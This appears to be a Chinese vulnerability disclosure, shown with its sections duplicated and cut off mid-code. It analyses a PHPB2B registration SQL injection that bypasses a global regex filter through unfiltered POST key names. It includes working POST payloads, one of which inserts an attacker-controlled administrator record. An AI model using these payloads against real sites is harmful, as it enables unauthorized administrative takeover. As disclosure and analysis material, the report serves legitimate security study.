### 简要描述: PHPB2B某处sql注入(危害巨大) ### 详细说明: PHPB2B某处sql注入 官网下载的最新版本 绕过全局防注入。 我们先看看全局防注入怎么写的。 以下是全局防注入用到的函数 ``` function pb_attack_filter($StrFiltKey,$StrFiltValue,$ArrFiltReq){ if(is_array($StrFiltValue)) { $StrFiltValue=@implode(",", $StrFiltValue); } if (preg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1){ echo $StrFiltValue; header_sent("Warning : Illegal operation!"); exit(); } } function pb_hack_check(){ $getfilter="'|(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)"; $postfilter="\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|ascii|load_file|substring|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)"; $_PG=array_merge($_GET,$_POST); foreach($_PG as $key=>$value){ pb_attack_filter($key,$value,$getfilter);...
### 简要描述: PHPB2B某处sql注入(危害巨大) ### 详细说明: PHPB2B某处sql注入 官网下载的最新版本 绕过全局防注入。 我们先看看全局防注入怎么写的。 以下是全局防注入用到的函数 ``` function pb_attack_filter($StrFiltKey,$StrFiltValue,$ArrFiltReq){ if(is_array($StrFiltValue)) { $StrFiltValue=@implode(",", $StrFiltValue); } if (preg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1){ echo $StrFiltValue; header_sent("Warning : Illegal operation!"); exit(); } } function pb_hack_check(){ $getfilter="'|(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)"; $postfilter="\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|ascii|load_file|substring|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)"; $_PG=array_merge($_GET,$_POST); foreach($_PG as $key=>$value){ pb_attack_filter($key,$value,$getfilter); pb_attack_filter($key,$value,$postfilter); } } ``` 其核心在于,对post和get传递过来的参数值进行了一次过滤 ``` foreach($_PG as $key=>$value){ pb_attack_filter($key,$value,$getfilter); pb_attack_filter($key,$value,$postfilter); } ``` 但是还是有不足的地方。 register.php 83-117行 ``` if(isset($_POST['register'])){ $is_company = false; $if_need_check = false; $register_type = trim($_POST['register']); $register_typename = trim($_POST['typename']); pb_submit_check('data'); $default_membergroupid_res = $pdb->GetRow("SELECT * FROM {$tb_prefix}membertypes WHERE name='".$register_typename."'"); $default_membergroupid = $default_membergroupid_res['default_membergroup_id']; if(empty($default_membergroupid)) $default_membergroupid = $membergroup->field("id","is_default=1"); if ($default_membergroupid_res['id']>1) { $is_company = true; } $member->setParams(); $memberfield->setParams(); //exception if(!$member->checkException($member->params['data']['member'], array( 'username', 'email', 'userpass', ))){ flash("sys_error"); } $member->params['data']['member']['membergroup_id'] = $default_membergroupid; $time_limits = $pdb->GetOne("SELECT default_live_time FROM {$tb_prefix}membergroups WHERE id={$default_membergroupid}"); $member->params['data']['member']['service_start_date'] = $time_stamp; $member->params['data']['member']['service_end_date'] = $membergroup->getServiceEndtime($time_limits); $member->params['data']['member']['membertype_id'] = ($is_company)?2:1; if($member_reg_auth=="1" || $member_reg_auth!=0 || !empty($G['setting']['new_userauth'])){ $member->params['data']['member']['status'] = 0; $if_need_check = true; }else{ $member->params['data']['member']['status'] = 1; } $updated = false; $updated = $member->Add(); ``` 代码比较长,其中比较关键的函数有 第96行 $memberfield->setParams(); 看看setparams函数怎么写的 ``` function setParams($extra = array()) { $params = array(); if (isset($_POST)) { $params['form'] = $_POST; if (ini_get('magic_quotes_gpc') === '1') { $params['form'] = pb_addslashes($params['form']); } if (pb_getenv('HTTP_X_HTTP_METHOD_OVERRIDE')) { $params['form']['_method'] = pb_getenv('HTTP_X_HTTP_METHOD_OVERRIDE'); } if (isset($params['form']['_method'])) { if (isset($_SERVER) && !empty($_SERVER)) { $_SERVER['REQUEST_METHOD'] = $params['form']['_method']; } else { $_ENV['REQUEST_METHOD'] = $params['form']['_method']; } unset($params['form']['_method']); } } $params = array_merge($extra, $params); if (isset($_GET)) { if (ini_get('magic_quotes_gpc') === '1') { $url = stripslashes_deep($_GET); } else { $url = $_GET; } array_unique($url); if (isset($params['url'])) { $params['url'] = array_merge($params['url'], $url); } else { $params['url'] = $url; } } if (isset($params['action']) && strlen($params['action']) === 0) { $params['action'] = 'list'; } if (isset($params['form']['data'])) { $params['data'] = $params['form']['data']; unset($params['form']['data']); } $this->params = $params; } ``` 代码又臭又长,其实这个函数主要的功能就是把post过来的数据全部放入当前实例的params属性中,且params是一个数组。 也就是 $_POST[a]=1--->$this->params[a]=1 然后继续往下看 在第117行 调用了$member->Add()这个函数 跟踪看看。 ``` function Add() { global $_PB_CACHE, $memberfield, $phpb2b_auth_key, $if_need_check; $error_msg = array(); if (empty($this->params['data']['member']['username']) or empty($this->params['data']['member']['userpass']) or empty($this->params['data']['member']['email'])) return false; //判断各种数值不能为空 $space_name = $this->params['data']['member']['username']; $userpass = $this->params['data']['member']['userpass']; $this->params['data']['member']['userpass'] = $this->authPasswd($this->params['data']['member']['userpass']); if(empty($this->params['data']['member']['space_name'])) $this->params['data']['member']['space_name'] = PbController::toAlphabets($space_name);//Todo: $uip = pb_ip2long(pb_getenv('REMOTE_ADDR')); if(empty($uip)){ pheader("location:".URL."redirect.php?message=".urlencode(L('sys_error'))); } $this->params['data']['member']['last_login'] = $this->params['data']['member']['created'] = $this->params['data']['member']['modified'] = $this->timestamp; $this->params['data']['member']['last_ip'] = pb_get_client_ip('str'); $email_exists = $this->checkUserExistsByEmail($this->params['data']['member']['email']); if ($email_exists) { flash("email_exists", null, 0); } $if_exists = $this->checkUserExist($this->params['data']['member']['username']); //检测是否已经存在该用户名 if ($if_exists) { flash('member_has_exists', null, 0); //如果已存在就跳出 }else{ $this->save($this->params['data']['member']); $key = $this->table_name."_id"; if($this->ins_passport) $this->passport(array($this->$key, $this->params['data']['member']['username'], $userpass, $this->params['data']['member']['email']), "reg"); $memberfield->primaryKey = "member_id"; $memberfield->params['data']['memberfield']['member_id'] = $this->$key; $memberfield->params['data']['memberfield']['reg_ip'] = $this->params['data']['member']['last_ip']; //各种参数设定完毕 $memberfield->save($memberfield->params['data']['memberfield']); //带入save函数执行 if (!$if_need_check) { $user_info['id'] = $this->$key; $user_info['username'] = $this->params['data']['member']['username']; $user_info['userpass'] = $userpass; $user_info['useremail'] = $this->params['data']['member']['email']; $user_info['lifetime'] = $this->timestamp+86400; $user_info['is_admin'] = 0; $this->putLoginStatus($user_info); } } return true; } ``` 函数代码比较长,所以我在关键地方做了注释。 总之就是会将$memberfield->params['data']['memberfield']这个参数传入到save函数中 而$memberfield->params['data']['memberfield']这个参数恰恰是由$memberfield->setParams();而得到值的,也就是我们可以直接post传入数据。 如图,为了演示方便,我把$memberfield->params['data']['memberfield']内容打印出来 [<img src="https://images.seebug.org/upload/201501/06163150530b8446082b990b9cdc62d36827d1f9.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201501/06163150530b8446082b990b9cdc62d36827d1f9.jpg) 清楚了这些,我们再来看save函数究竟做了什么。 ``` function save($posts, $action=null, $id=null, $tbname = null, $conditions = null, $if_check_word_ban = false) { $new_id = $result = false; $keys = array_keys($posts); $cols = implode($keys,","); $tbname = (is_null($tbname))? $this->getTable():trim($tbname); $this->table_name = $tbname; //Todo:2010.04.14, by steven if(!empty($id)){ $sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='".$id."'"; }elseif(!empty($posts[$this->primaryKey])){ $sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='".$posts[$this->primaryKey]."'"; }else{ $sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='-1'"; } ``` $id默认为空 所以最后拼接成的sql为 ``` $sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='".$id."'"; ``` $cols是怎么来的? ``` $keys = array_keys($posts); $cols = implode($keys,","); ``` 原来是取出了post传递过来的参数的键名数组,然后用,分割成字符串。而键名是不在全局sql注入过滤中的,于是产生了注入。 然后我们打印出最后执行的select语句 ``` formhash=95a43736362e5dd0®ister=1&typename=1&data[member][username]=saaaad&data[member][userpass]=11&data[member][email]=asaaadsd&data[memberfield][a']=123&data[memberfield][a%20test%20b]=123 ``` [<img src="https://images.seebug.org/upload/201501/061633180597ab8490fcd3a9887bff9ad7835fc5.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201501/061633180597ab8490fcd3a9887bff9ad7835fc5.png) 已经构成了注入了,如果要想盲注出管理员的密码,在这里就可以完成了。 但是因为程序员的疏忽,这个我们可以做得更多。 我们来看一下完整的save函数 ``` function save($posts, $action=null, $id=null, $tbname = null, $conditions = null, $if_check_word_ban = false) { $new_id = $result = false; $keys = array_keys($posts); $cols = implode($keys,","); $tbname = (is_null($tbname))? $this->getTable():trim($tbname); $this->table_name = $tbname; //Todo:2010.04.14, by steven if(!empty($id)){ $sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='".$id."'"; }elseif(!empty($posts[$this->primaryKey])){ $sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='".$posts[$this->primaryKey]."'"; }else{ $sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='-1'"; } if (!is_null($conditions)) { if (!empty($conditions)) { if (is_array($conditions)) { $condition = implode(" AND ", $conditions); }else{ $condition = $conditions; } } $sql.= " AND ".$condition; } $rs = $this->dbstuff->Execute($sql); $record = array(); foreach ($keys as $colname) { if(pb_inject_check($colname)){ //检测到恶意字段,就去除 unset($posts[$colname]); continue; } //过滤值中的恶意字符 $sp_search = array('\\\"', "\\\'", "'"," ", '\n','\\\"'); $sp_replace = array('"', ''', ''',' ', '<br />',''); $slash_col = str_replace($sp_search, $sp_replace, $posts[$colname]); if (!defined("IN_PBADMIN")) { $slash_col = sens_str($slash_col); } $record[$colname] = stripslashes($slash_col); } if (!defined("IN_PBADMIN") && isset($record['id'])) { unset($record['id']); } if (strtolower($action) == "update") { $insertsql = $this->dbstuff->GetUpdateSQL($rs,$record); $new_id = false; }else { //$action不是update,将$rs带入GetInsertSQL函数执行 $insertsql = $this->dbstuff->GetInsertSQL($rs,$record); $new_id = true; } if($insertsql) $result = $this->dbstuff->Execute($insertsql); if (!$result || empty($result)) { return false; }else { if($new_id){ $insert_key = $tbname."_id"; $this->$insert_key = $this->dbstuff->Insert_ID(); } return true; } } 代码比较长,我已经把关键的地方给了注释了。 于是来到了GetInsertSQL函数 function GetInsertSQL(&$rs, $arrFields,$magicq=false,$force=null) { global $ADODB_INCLUDED_LIB; if (!isset($force)) { global $ADODB_FORCE_TYPE; $force = $ADODB_FORCE_TYPE; } if (empty($ADODB_INCLUDED_LIB)) include(ADODB_DIR.'/adodb-lib.inc.php'); return _adodb_getinsertsql($this,$rs,$arrFields,$magicq,$force); } ``` 跟着走到_adodb_getinsertsql函数 这个函数也特别长 在libraries/adodb/adodb-lib.inc.php中 762-902行 ``` function _adodb_getinsertsql(&$zthis,&$rs,$arrFields,$magicq=false,$force=2) { static $cacheRS = false; static $cacheSig = 0; static $cacheCols; global $ADODB_QUOTE_FIELDNAMES; $tableName = ''; $values = ''; $fields = ''; $recordSet = null; $arrFields = _array_change_key_case($arrFields); $fieldInsertedCount = 0; if (is_string($rs)) { //ok we have a table name //try and get the column info ourself. $tableName = $rs; //we need an object for the recordSet //because we have to call MetaType. //php can't do a $rsclass::MetaType() $rsclass = $zthis->rsPrefix.$zthis->databaseType; $recordSet = new $rsclass(-1,$zthis->fetchMode); $recordSet->connection = $zthis; if (is_string($cacheRS) && $cacheRS == $rs) { $columns = $cacheCols; } else { $columns = $zthis->MetaColumns( $tableName ); $cacheRS = $tableName; $cacheCols = $columns; } } else if (is_subclass_of($rs, 'adorecordset')) { if (isset($rs->insertSig) && is_integer($cacheRS) && $cacheRS == $rs->insertSig) { $columns = $cacheCols; } else { for ($i=0, $max=$rs->FieldCount(); $i < $max; $i++) $columns[] = $rs->FetchField($i); $cacheRS = $cacheSig; $cacheCols = $columns; $rs->insertSig = $cacheSig++; } $recordSet = $rs; } else { printf(ADODB_BAD_RS,'GetInsertSQL'); return false; } // Loop through all of the fields in the recordset foreach( $columns as $field ) { $upperfname = strtoupper($field->name); if (adodb_key_exists($upperfname,$arrFields,$force)) { $bad = false; if ((strpos($upperfname,' ') !== false) || ($ADODB_QUOTE_FIELDNAMES)) { switch ($ADODB_QUOTE_FIELDNAMES) { case 'LOWER': $fnameq = $zthis->nameQuote.strtolower($field->name).$zthis->nameQuote;break; case 'NATIVE': $fnameq = $zthis->nameQuote.$field->name.$zthis->nameQuote;break; case 'UPPER': default: $fnameq = $zthis->nameQuote.$upperfname.$zthis->nameQuote;break; } } else $fnameq = $upperfname; $type = $recordSet->MetaType($field->type); /********************************************************/ if (is_null($arrFields[$upperfname]) || (empty($arrFields[$upperfname]) && strlen($arrFields[$upperfname]) == 0) || $arrFields[$upperfname] === $zthis->null2null ) { switch ($force) { case 0: // we must always set null if missing $bad = true; break; case 1: $values .= "null, "; break; case 2: //Set empty $arrFields[$upperfname] = ""; $values .= _adodb_column_sql($zthis, 'I', $type, $upperfname, $fnameq,$arrFields, $magicq); break; default: case 3: //Set the value that was given in array, so you can give both null and empty values if (is_null($arrFields[$upperfname]) || $arrFields[$upperfname] === $zthis->null2null) { $values .= "null, "; } else { $values .= _adodb_column_sql($zthis, 'I', $type, $upperfname, $fnameq, $arrFields, $magicq); } break; } // switch /*********************************************************/ } else { //we do this so each driver can customize the sql for //DB specific column types. //Oracle needs BLOB types to be handled with a returning clause //postgres has special needs as well $values .= _adodb_column_sql($zthis, 'I', $type, $upperfname, $fnameq, $arrFields, $magicq); } if ($bad) continue; // Set the counter for the number of fields that will be inserted. $fieldInsertedCount++; // Get the name of the fields to insert $fields .= $fnameq . ", "; } } // If there were any inserted fields then build the rest of the insert query. if ($fieldInsertedCount <= 0) return false; // Get the table name from the existing query. if (!$tableName) { if (!empty($rs->tableName)) $tableName = $rs->tableName; else if (preg_match("/FROM\s+".ADODB_TABLE_REGEX."/is", $rs->sql, $tableName)){ $tableName = $tableName[1]; } else return false; } // Strip off the comma and space on the end of both the fields // and their values. $fields = substr($fields, 0, -2); $values = substr($values, 0, -2); // Append the fields and their values to the insert query. return 'INSERT INTO '.$tableName.' ( '.$fields.' ) VALUES ( '.$values.' )'; } ``` 代码太长,我就不慢慢分析了。 这个函数的主要功能就是匹配出先前那个select语句中的各个字段以及表名。然后对数据库中该表做一个插入操作。 为了更直观表示,我将语句都打印出来。 我们直接来插入一条管理员数据,把自己的账号提成管理员吧。 post提交 ``` formhash=db91c900f7efb4a8®ister=1&typename=1&data[member][username]=123dba&data[member][userpass]=11&data[member][email]=1231aad&data[memberfield][member_id,level,last_name%20from%20pb_wwd_adminfields%23]=1&data[memberfield][level]=0&data[memberfield][status]=1&data[memberfield][last_name]=test ``` 成功添加了一条管理员记录。 账号是123dba密码是11 ps: 因为表前缀是默认随机生成的,所以必须先通过盲注information这个数据库中的tables表,拿到表前缀,而后才能拿到管理员权限。 不对对于拥有注入来说,不都是洒洒水么 ### 漏洞证明: PHPB2B某处sql注入 官网下载的最新版本 绕过全局防注入。 我们先看看全局防注入怎么写的。 以下是全局防注入用到的函数 ``` function pb_attack_filter($StrFiltKey,$StrFiltValue,$ArrFiltReq){ if(is_array($StrFiltValue)) { $StrFiltValue=@implode(",", $StrFiltValue); } if (preg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1){ echo $StrFiltValue; header_sent("Warning : Illegal operation!"); exit(); } } function pb_hack_check(){ $getfilter="'|(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)"; $postfilter="\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|ascii|load_file|substring|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)"; $_PG=array_merge($_GET,$_POST); foreach($_PG as $key=>$value){ pb_attack_filter($key,$value,$getfilter); pb_attack_filter($key,$value,$postfilter); } } ``` 其核心在于,对post和get传递过来的参数值进行了一次过滤 ``` foreach($_PG as $key=>$value){ pb_attack_filter($key,$value,$getfilter); pb_attack_filter($key,$value,$postfilter); } ``` 但是还是有不足的地方。 register.php 83-117行 ``` if(isset($_POST['register'])){ $is_company = false; $if_need_check = false; $register_type = trim($_POST['register']); $register_typename = trim($_POST['typename']); pb_submit_check('data'); $default_membergroupid_res = $pdb->GetRow("SELECT * FROM {$tb_prefix}membertypes WHERE name='".$register_typename."'"); $default_membergroupid = $default_membergroupid_res['default_membergroup_id']; if(empty($default_membergroupid)) $default_membergroupid = $membergroup->field("id","is_default=1"); if ($default_membergroupid_res['id']>1) { $is_company = true; } $member->setParams(); $memberfield->setParams(); //exception if(!$member->checkException($member->params['data']['member'], array( 'username', 'email', 'userpass', ))){ flash("sys_error"); } $member->params['data']['member']['membergroup_id'] = $default_membergroupid; $time_limits = $pdb->GetOne("SELECT default_live_time FROM {$tb_prefix}membergroups WHERE id={$default_membergroupid}"); $member->params['data']['member']['service_start_date'] = $time_stamp; $member->params['data']['member']['service_end_date'] = $membergroup->getServiceEndtime($time_limits); $member->params['data']['member']['membertype_id'] = ($is_company)?2:1; if($member_reg_auth=="1" || $member_reg_auth!=0 || !empty($G['setting']['new_userauth'])){ $member->params['data']['member']['status'] = 0; $if_need_check = true; }else{ $member->params['data']['member']['status'] = 1; } $updated = false; $updated = $member->Add(); ``` 代码比较长,其中比较关键的函数有 第96行 $memberfield->setParams(); 看看setparams函数怎么写的 ``` function setParams($extra = array()) { $params = array(); if (isset($_POST)) { $params['form'] = $_POST; if (ini_get('magic_quotes_gpc') === '1') { $params['form'] = pb_addslashes($params['form']); } if (pb_getenv('HTTP_X_HTTP_METHOD_OVERRIDE')) { $params['form']['_method'] = pb_getenv('HTTP_X_HTTP_METHOD_OVERRIDE'); } if (isset($params['form']['_method'])) { if (isset($_SERVER) && !empty($_SERVER)) { $_SERVER['REQUEST_METHOD'] = $params['form']['_method']; } else { $_ENV['REQUEST_METHOD'] = $params['form']['_method']; } unset($params['form']['_method']); } } $params = array_merge($extra, $params); if (isset($_GET)) { if (ini_get('magic_quotes_gpc') === '1') { $url = stripslashes_deep($_GET); } else { $url = $_GET; } array_unique($url); if (isset($params['url'])) { $params['url'] = array_merge($params['url'], $url); } else { $params['url'] = $url; } } if (isset($params['action']) && strlen($params['action']) === 0) { $params['action'] = 'list'; } if (isset($params['form']['data'])) { $params['data'] = $params['form']['data']; unset($params['form']['data']); } $this->params = $params; } ``` 代码又臭又长,其实这个函数主要的功能就是把post过来的数据全部放入当前实例的params属性中,且params是一个数组。 也就是 $_POST[a]=1--->$this->params[a]=1 然后继续往下看 在第117行 调用了$member->Add()这个函数 跟踪看看。 ``` function Add() { global $_PB_CACHE, $memberfield, $phpb2b_auth_key, $if_need_check; $error_msg = array(); if (empty($this->params['data']['member']['username']) or empty($this->params['data']['member']['userpass']) or empty($this->params['data']['member']['email'])) return false; //判断各种数值不能为空 $space_name = $this->params['data']['member']['username']; $userpass = $this->params['data']['member']['userpass']; $this->params['data']['member']['userpass'] = $this->authPasswd($this->params['data']['member']['userpass']); if(empty($this->params['data']['member']['space_name'])) $this->params['data']['member']['space_name'] = PbController::toAlphabets($space_name);//Todo: $uip = pb_ip2long(pb_getenv('REMOTE_ADDR')); if(empty($uip)){ pheader("location:".URL."redirect.php?message=".urlencode(L('sys_error'))); } $this->params['data']['member']['last_login'] = $this->params['data']['member']['created'] = $this->params['data']['member']['modified'] = $this->timestamp; $this->params['data']['member']['last_ip'] = pb_get_client_ip('str'); $email_exists = $this->checkUserExistsByEmail($this->params['data']['member']['email']); if ($email_exists) { flash("email_exists", null, 0); } $if_exists = $this->checkUserExist($this->params['data']['member']['username']); //检测是否已经存在该用户名 if ($if_exists) { flash('member_has_exists', null, 0); //如果已存在就跳出 }else{ $this->save($this->params['data']['member']); $key = $this->table_name."_id"; if($this->ins_passport) $this->passport(array($this->$key, $this->params['data']['member']['username'], $userpass, $this->params['data']['member']['email']), "reg"); $memberfield->primaryKey = "member_id"; $memberfield->params['data']['memberfield']['member_id'] = $this->$key; $memberfield->params['data']['memberfield']['reg_ip'] = $this->params['data']['member']['last_ip']; //各种参数设定完毕 $memberfield->save($memberfield->params['data']['memberfield']); //带入save函数执行 if (!$if_need_check) { $user_info['id'] = $this->$key; $user_info['username'] = $this->params['data']['member']['username']; $user_info['userpass'] = $userpass; $user_info['useremail'] = $this->params['data']['member']['email']; $user_info['lifetime'] = $this->timestamp+86400; $user_info['is_admin'] = 0; $this->putLoginStatus($user_info); } } return true; } ``` 函数代码比较长,所以我在关键地方做了注释。 总之就是会将$memberfield->params['data']['memberfield']这个参数传入到save函数中 而$memberfield->params['data']['memberfield']这个参数恰恰是由$memberfield->setParams();而得到值的,也就是我们可以直接post传入数据。 如图,为了演示方便,我把$memberfield->params['data']['memberfield']内容打印出来 [<img src="https://images.seebug.org/upload/201501/06163150530b8446082b990b9cdc62d36827d1f9.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201501/06163150530b8446082b990b9cdc62d36827d1f9.jpg) 清楚了这些,我们再来看save函数究竟做了什么。 ``` function save($posts, $action=null, $id=null, $tbname = null, $conditions = null, $if_check_word_ban = false) { $new_id = $result = false; $keys = array_keys($posts); $cols = implode($keys,","); $tbname = (is_null($tbname))? $this->getTable():trim($tbname); $this->table_name = $tbname; //Todo:2010.04.14, by steven if(!empty($id)){ $sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='".$id."'"; }elseif(!empty($posts[$this->primaryKey])){ $sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='".$posts[$this->primaryKey]."'"; }else{ $sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='-1'"; } ``` $id默认为空 所以最后拼接成的sql为 ``` $sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='".$id."'"; ``` $cols是怎么来的? ``` $keys = array_keys($posts); $cols = implode($keys,","); ``` 原来是取出了post传递过来的参数的键名数组,然后用,分割成字符串。而键名是不在全局sql注入过滤中的,于是产生了注入。 然后我们打印出最后执行的select语句 ``` formhash=95a43736362e5dd0®ister=1&typename=1&data[member][username]=saaaad&data[member][userpass]=11&data[member][email]=asaaadsd&data[memberfield][a']=123&data[memberfield][a%20test%20b]=123 ``` [<img src="https://images.seebug.org/upload/201501/061633180597ab8490fcd3a9887bff9ad7835fc5.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201501/061633180597ab8490fcd3a9887bff9ad7835fc5.png) 已经构成了注入了,如果要想盲注出管理员的密码,在这里就可以完成了。 但是因为程序员的疏忽,这个我们可以做得更多。 我们来看一下完整的save函数 ``` function save($posts, $action=null, $id=null, $tbname = null, $conditions = null, $if_check_word_ban = false) { $new_id = $result = false; $keys = array_keys($posts); $cols = implode($keys,","); $tbname = (is_null($tbname))? $this->getTable():trim($tbname); $this->table_name = $tbname; //Todo:2010.04.14, by steven if(!empty($id)){ $sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='".$id."'"; }elseif(!empty($posts[$this->primaryKey])){ $sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='".$posts[$this->primaryKey]."'"; }else{ $sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='-1'"; } if (!is_null($conditions)) { if (!empty($conditions)) { if (is_array($conditions)) { $condition = implode(" AND ", $conditions); }else{ $condition = $conditions; } } $sql.= " AND ".$condition; } $rs = $this->dbstuff->Execute($sql); $record = array(); foreach ($keys as $colname) { if(pb_inject_check($colname)){ //检测到恶意字段,就去除 unset($posts[$colname]); continue; } //过滤值中的恶意字符 $sp_search = array('\\\"', "\\\'", "'"," ", '\n','\\\"'); $sp_replace = array('"', ''', ''',' ', '<br />',''); $slash_col = str_replace($sp_search, $sp_replace, $posts[$colname]); if (!defined("IN_PBADMIN")) { $slash_col = sens_str($slash_col); } $record[$colname] = stripslashes($slash_col); } if (!defined("IN_PBADMIN") && isset($record['id'])) { unset($record['id']); } if (strtolower($action) == "update") { $insertsql = $this->dbstuff->GetUpdateSQL($rs,$record); $new_id = false; }else { //$action不是update,将$rs带入GetInsertSQL函数执行 $insertsql = $this->dbstuff->GetInsertSQL($rs,$record); $new_id = true; } if($insertsql) $result = $this->dbstuff->Execute($insertsql); if (!$result || empty($result)) { return false; }else { if($new_id){ $insert_key = $tbname."_id"; $this->$insert_key = $this->dbstuff->Insert_ID(); } return true; } } 代码比较长,我已经把关键的地方给了注释了。 于是来到了GetInsertSQL函数 function GetInsertSQL(&$rs, $arrFields,$magicq=false,$force=null) { global $ADODB_INCLUDED_LIB; if (!isset($force)) { global $ADODB_FORCE_TYPE; $force = $ADODB_FORCE_TYPE; } if (empty($ADODB_INCLUDED_LIB)) include(ADODB_DIR.'/adodb-lib.inc.php'); return _adodb_getinsertsql($this,$rs,$arrFields,$magicq,$force); } ``` 跟着走到_adodb_getinsertsql函数 这个函数也特别长 在libraries/adodb/adodb-lib.inc.php中 762-902行 ``` function _adodb_getinsertsql(&$zthis,&$rs,$arrFields,$magicq=false,$force=2) { static $cacheRS = false; static $cacheSig = 0; static $cacheCols; global $ADODB_QUOTE_FIELDNAMES; $tableName = ''; $values = ''; $fields = ''; $recordSet = null; $arrFields = _array_change_key_case($arrFields); $fieldInsertedCount = 0; if (is_string($rs)) { //ok we have a table name //try and get the column info ourself. $tableName = $rs; //we need an object for the recordSet //because we have to call MetaType. //php can't do a $rsclass::MetaType() $rsclass = $zthis->rsPrefix.$zthis->databaseType; $recordSet = new $rsclass(-1,$zthis->fetchMode); $recordSet->connection = $zthis; if (is_string($cacheRS) && $cacheRS == $rs) { $columns = $cacheCols; } else { $columns = $zthis->MetaColumns( $tableName ); $cacheRS = $tableName; $cacheCols = $columns; } } else if (is_subclass_of($rs, 'adorecordset')) { if (isset($rs->insertSig) && is_integer($cacheRS) && $cacheRS == $rs->insertSig) { $columns = $cacheCols; } else { for ($i=0, $max=$rs->FieldCount(); $i < $max; $i++) $columns[] = $rs->FetchField($i); $cacheRS = $cacheSig; $cacheCols = $columns; $rs->insertSig = $cacheSig++; } $recordSet = $rs; } else { printf(ADODB_BAD_RS,'GetInsertSQL'); return false; } // Loop through all of the fields in the recordset foreach( $columns as $field ) { $upperfname = strtoupper($field->name); if (adodb_key_exists($upperfname,$arrFields,$force)) { $bad = false; if ((strpos($upperfname,' ') !== false) || ($ADODB_QUOTE_FIELDNAMES)) { switch ($ADODB_QUOTE_FIELDNAMES) { case 'LOWER': $fnameq = $zthis->nameQuote.strtolower($field->name).$zthis->nameQuote;break; case 'NATIVE': $fnameq = $zthis->nameQuote.$field->name.$zthis->nameQuote;break; case 'UPPER': default: $fnameq = $zthis->nameQuote.$upperfname.$zthis->nameQuote;break; } } else $fnameq = $upperfname; $type = $recordSet->MetaType($field->type); /********************************************************/ if (is_null($arrFields[$upperfname]) || (empty($arrFields[$upperfname]) && strlen($arrFields[$upperfname]) == 0) || $arrFields[$upperfname] === $zthis->null2null ) { switch ($force) { case 0: // we must always set null if missing $bad = true; break; case 1: $values .= "null, "; break; case 2: //Set empty $arrFields[$upperfname] = ""; $values .= _adodb_column_sql($zthis, 'I', $type, $upperfname, $fnameq,$arrFields, $magicq); break; default: case 3: //Set the value that was given in array, so you can give both null and empty values if (is_null($arrFields[$upperfname]) || $arrFields[$upperfname] === $zthis->null2null) { $values .= "null, "; } else { $values .= _adodb_column_sql($zthis, 'I', $type, $upperfname, $fnameq, $arrFields, $magicq); } break; } // switch /*********************************************************/ } else { //we do this so each driver can customize the sql for //DB specific column types. //Oracle needs BLOB types to be handled with a returning clause //postgres has special needs as well $values .= _adodb_column_sql($zthis, 'I', $type, $upperfname, $fnameq, $arrFields, $magicq); } if ($bad) continue; // Set the counter for the number of fields that will be inserted. $fieldInsertedCount++; // Get the name of the fields to insert $fields .= $fnameq . ", "; } } // If there were any inserted fields then build the rest of the insert query. if ($fieldInsertedCount <= 0) return false; // Get the table name from the existing query. if (!$tableName) { if (!empty($rs->tableName)) $tableName = $rs->tableName; else if (preg_match("/FROM\s+".ADODB_TABLE_REGEX."/is", $rs->sql, $tableName)){ $tableName = $tableName[1]; } else return false; } // Strip off the comma and space on the end of both the fields // and their values. $fields = substr($fields, 